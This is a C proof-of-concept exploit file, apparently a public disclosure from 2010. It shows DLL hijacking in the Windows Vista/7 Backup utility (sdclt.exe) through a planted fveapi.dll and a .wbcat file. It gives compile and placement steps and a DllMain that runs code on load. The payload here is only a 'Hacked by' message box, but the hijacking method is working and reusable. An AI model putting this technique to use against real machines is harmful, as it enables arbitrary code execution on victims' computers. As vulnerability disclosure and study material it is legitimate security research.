/*

Windows 7 and Vista Backup Utility sdclt.exe fveapi.dll DLL Hijacking Exploit

  Found by: Christian Heinrich (cmlh)
  Exploit by: Christian Heinrich (cmlh)

  Email: christianheinrich@live.com
  Web: http://www.twitter.com/cmlh

  Summary: Microsoft Windows Backup application (sdclt.exe) for Windows Vista/7 exploit

  Description: Microsoft Windows Backup application (sdclt.exe) suffers from a dll hijacking vulnerability
  that enables the attacker to execute arbitrary code on a local level through the .wbcat extension.

----

Howto:

gcc -shared -o fveapi.dll windowsbackupexploit.c

Compile this file and rename to fveapi.dll

Then create an empty file named anything.wbcat

Double clicking the anything.wbcat file with the fveapi.dll file in the same folder will execute
our code.

----

Tested on Microsoft Windows 7 32-bit

Vulnerability discovered by Christian Heinrich (cmlh)


christianheinrich@live.com

27.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

  switch (fdwReason)
  {
    case DLL_PROCESS_ATTACH:
    dll_mll();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
  }

  return TRUE;
}

int dll_mll()
{
  MessageBox(0, "Hacked by Christian Heinrich !", "DLL Message", MB_OK);
}